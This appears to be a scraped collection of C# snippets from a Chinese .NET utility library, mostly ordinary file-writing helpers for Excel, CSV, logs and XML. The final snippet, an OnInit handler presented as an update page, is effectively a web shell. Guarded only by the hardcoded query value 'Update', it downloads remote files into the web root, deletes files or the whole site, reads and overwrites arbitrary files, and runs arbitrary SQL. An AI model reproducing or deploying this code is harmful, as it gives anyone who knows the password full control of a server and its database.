/// <summary> /// DataSet转EXCEL /// </summary> /// <param name="source">DataSet</param> /// <param name="fileName">文件名</param> public static void ToExcel(this DataSet source, string fileName) { StringBuilder sbXML = new StringBuilder(); source.Tables.Do((p, i) => sbXML.Append(toExcel((DataTable)p, i))); FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, xlsTemplate.FormatWith(DateTime.Now.ToString("yyyy-MM-dd"), sbXML.ToString())); source.Dispose(); source = null; }
/// <summary> /// 写日志 /// </summary> /// <param name="msg">消息</param> /// <param name="encoding">编码</param> /// <returns>true/false</returns> public bool Write(string msg, Encoding encoding = null) { string LogFile = LogPath.TrimEnd('\\') + @"\Log_" + DateTime.Now.ToString("yyyyMMdd") + ".log"; StringBuilder sb = new StringBuilder(); sb.AppendLine("/*******************************************************************************************************"); sb.AppendLine(string.Format("* DateTime:{0}{1}", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"), HttpContext.Current.IsNotNull() ? (" IP:{0} OS:{1} Brower:{2}".FormatWith(Request2.GetIP(), Request2.GetOS(), Request2.GetBrowser())) : "")); if (HttpContext.Current.IsNotNull()) { sb.AppendLine("* Url:" + Request2.GetUrl()); sb.AppendLine("* Data:" + Request2.GetRequestInputStream()); } sb.AppendLine("* Message:" + msg); sb.AppendLine("*******************************************************************************************************/"); sb.AppendLine(""); return(FileDirectory.FileWrite(LogFile, sb.ToString(), encoding ?? Encoding.UTF8)); }
//#endregion //#region 全局方法Create /// <summary> /// 新建一个XML文件 /// </summary> /// <example> /// <code> /// Xml2.Create("c:\\rss\\rss.xml", "", "", "utf-8", "<root></root>") /// </code> /// </example> /// <param name="xmlFile">XML文件路径</param> /// <param name="cssFile">CSS文件路径</param> /// <param name="xlsFile">XLS文件路径</param> /// <param name="encoding">编码</param> /// <param name="node">根结点</param> /// <returns>是否操作成功</returns> public static bool Create(string xmlFile, string cssFile, string xlsFile, string encoding, string node) { if (node.Trim().Equals("")) { return(false); } if (encoding.Trim().Equals("")) { encoding = "utf-8"; } string _str = "<?xml version=\"1.0\" encoding=\"" + encoding + "\"?>"; if (!cssFile.Trim().Equals("")) { _str += Environment.NewLine + "<?xml-stylesheet type=\"text/css\" href=\"" + cssFile + "\"?>"; } if (!xlsFile.Trim().Equals("")) { _str += Environment.NewLine + "<?xml-stylesheet type=\"text/xsl\" href=\"" + xlsFile + "\" media=\"screen\"?>"; } _str += Environment.NewLine + node; return(FileDirectory.FileWrite(xmlFile, _str, encoding)); }
//#endregion //#region TransHtml /// <summary> /// 转换为静态html /// </summary> /// <param name="path">网址</param> /// <param name="outpath">输出路径</param> /// <param name="encoding">编码</param> public static void TransHtml(string path, string outpath, System.Text.Encoding encoding) { Page page = new Page(); StringWriter writer = new StringWriter(); page.Server.Execute(path, writer); outpath = outpath.IndexOf("\\") > 0 ? outpath : outpath.GetMapPath(); FileDirectory.FileDelete(outpath); FileDirectory.FileWrite(outpath, writer.ToString(), encoding); //Page page = new Page(); //StringWriter writer = new StringWriter(); //page.Server.Execute(path, writer); //FileStream fs; //if (File.Exists(page.Server.MapPath("~/") + "\\" + outpath)) { // File.Delete(page.Server.MapPath("~/") + "\\" + outpath); // fs = File.Create(page.Server.MapPath("~/") + "\\" + outpath); //} else { // fs = File.Create(page.Server.MapPath("~/") + "\\" + outpath); //} //byte[] bt = encoding.GetBytes(writer.ToString()); //fs.Write(bt, 0, bt.Length); //fs.Close(); }
/// <summary> /// 字节写到文件 /// </summary> /// <param name="bytes">字节</param> /// <param name="fileName">方件名</param> /// <param name="fileMode">FileMode</param> /// <returns>true/false</returns> public static bool ToFile(this byte[] bytes, string fileName, FileMode fileMode = FileMode.CreateNew) { return(FileDirectory.FileWrite(fileName, bytes, fileMode)); }
/// <summary> /// DataSet导出CSV文件 /// </summary> /// <param name="ds">DataSet</param> /// <param name="fileName">CSV文件路径</param> public static void ToCSV(this DataSet ds, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, ds.ToCSV()); }
/// <summary> /// DataTable转换为EXCEL文件 /// </summary> /// <param name="dt">DataTable</param> /// <param name="fileName">excel文件路径</param> public static void ToExcel(this DataTable dt, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, xlsTemplate.FormatWith(DateTime.Now.ToString("yyyy-MM-dd"), toExcel(dt))); }
/// <summary> /// DataTable导出CSV文件 /// </summary> /// <param name="dt">DataTable</param> /// <param name="fileName">CSV文件路径</param> public static void ToCSV(this DataTable dt, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, dt.ToCSV(',')); }
/// <summary> /// 序列成XML文件 /// </summary> /// <param name="o">对像</param> /// <param name="fileName">文件名</param> public void SerializeFile <T>(T o, string fileName) { FileDirectory.FileDelete(fileName); FileDirectory.FileWrite(fileName, Serialize(o)); }
/// <summary> /// 详细的Exception出错信息 写到文件 /// </summary> /// <param name="ex">object扩展</param> /// <param name="fileName">文件名 c:\test.log</param> public static void ToFile(this Exception ex, string fileName) { FileDirectory.FileWrite(fileName, ex.ToExceptionDetail()); }
/// <summary> /// Page_Load /// </summary> /// <param name="e"></param> protected override void OnInit(EventArgs e) { string localPath = string.Empty; string fileName = string.Empty; bool isTrue = true; string u2 = "Update"; string[] ext = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" }; string[] repExt = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" }; string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" }; string u1 = Request2.GetQ("u").Trim(); if (!u2.Equals(u1)) { return; } string active = Request2.GetQ("active").Trim(); switch (active) { case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break; case "do": string file = Request2.Get("file").Trim(); //StringExtensions.HtmlDecode(Request2.Get("file")).Trim(); if (file.IsNullEmpty()) { Msg.WriteEnd("error file."); } string action = file.Substring(0, 3); file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/"); if (file.Length < 1) { Msg.WriteEnd(string.Format(strList[1], file, "file")); } string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim(); if (url.Length < 10) { Msg.WriteEnd(string.Format(strList[1], url, "url")); } switch (action) { case "af:": isTrue = true; for (int i = 0; i < ext.Length; i++) { file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); } file = file.Replace("\\.", "."); string[] folderList = file.Split('/'); if (folderList.Length > 1) { fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, "")); } for (int i = 0; i < ext.Length; i++) { file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); } file = file.Replace("\\.", "."); url = url + file; for (int i = 0; i < ext.Length; i++) { file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]); } file = file.Replace("\\.", "."); localPath = "~/tmp/".GetMapPath() + "{0}"; file = file.Replace("/", "\\"); fileName = string.Format(localPath, file); System.Net.WebClient wc = new System.Net.WebClient(); try { wc.DownloadFile(url, fileName); } catch { isTrue = false; } finally { wc.Dispose(); } file = file.Replace("\\", "/"); for (int i = 0; i < ext.Length; i++) { file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]); } file = file.Replace("\\.", "."); if (isTrue) { Response.Write(string.Format(strList[0], file, "add file")); } else { Response.Write(string.Format(strList[1], file, "add file")); } break; case "df:": if (file == "/all") { localPath = Server2.GetMapPath("~/"); #if !MONO40 FileDirectory.APIDelete(localPath); #endif Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>"); } localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) { Msg.WriteEnd(string.Format(strList[1], file, "del file")); } try { FileDirectory.FileDelete(localPath); } catch { Msg.WriteEnd(string.Format(strList[1], file, "del file")); } Response.Write(string.Format(strList[0], file, "del file")); break; case "rf:": localPath = Server2.GetMapPath("~/") + file; if (!FileDirectory.FileExists(localPath)) { Msg.WriteEnd(string.Format(strList[1], file, "read file")); } string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8); string text = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />"; Msg.WriteEnd(text + " ok!"); break; case "ap:": FileDirectory.DirectoryVirtualCreate("~" + file); Msg.WriteEnd(string.Format(strList[0], file, "add path")); break; case "dp:": localPath = Server2.GetMapPath("~/") + file; try { if (System.IO.Directory.Exists(localPath)) { System.IO.Directory.Delete(localPath); } } catch { Msg.WriteEnd(string.Format(strList[1], file, "del path")); } Msg.WriteEnd(string.Format(strList[0], file, "del path")); break; case "rp:": localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/"; string size = ""; System.Collections.Generic.IList <string> sbFile2 = new System.Collections.Generic.List <string>(); StringBuilder sbFile3 = new StringBuilder(); try { FileDirectory.FileList(localPath, ref sbFile2, localPath); localPath = localPath.Replace("\\/", "\\"); for (int i = 0; i < sbFile2.Count; i++) { file = sbFile2[i].Trim().TrimStart('.'); if (file.Equals("")) { continue; } try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; } sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine); if (i.Equals(sbFile2.Count - 2)) { sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine); } } } catch { Msg.WriteEnd(string.Format(strList[1], file, "read path")); } text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read path")); break; case "db:": file = file.Replace("/r/n", Environment.NewLine).Trim('/'); if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1) { Data.ExecuteCommandWithSplitter(file, "GO"); Msg.WriteEnd(string.Format(strList[0], "", "read db")); } else { text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>"; Msg.WriteEnd(string.Format(strList[0], text, "read db")); } break; default: Msg.WriteEnd("file error!"); break; } Response.End(); break; case "ok": localPath = "~/tmp/".GetMapPath(); System.Collections.Generic.IList <string> fileList = new System.Collections.Generic.List <string>(); FileDirectory.FileList(localPath, ref fileList, localPath); for (int i = 0; i < fileList.Count; i++) { file = fileList[i].Trim().TrimStart('.'); if (file.Length < 2) { continue; } fileName = localPath + file; isTrue = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true); if (isTrue) { FileDirectory.FileDelete(fileName); } if (isTrue) { Response.Write(string.Format(strList[0], file, "update") + "<br />"); } else { Response.Write(string.Format(strList[1], file, "update") + "<br />"); } } Response.End(); break; case "ef": localPath = Request2.GetF("file").Trim(); string content = Request2.GetF("data").Trim(); FileDirectory.FileDelete(localPath); isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8); if (isTrue) { Msg.WriteEnd("edit file ok!"); } else { Msg.WriteEnd("edit file error!"); } break; } }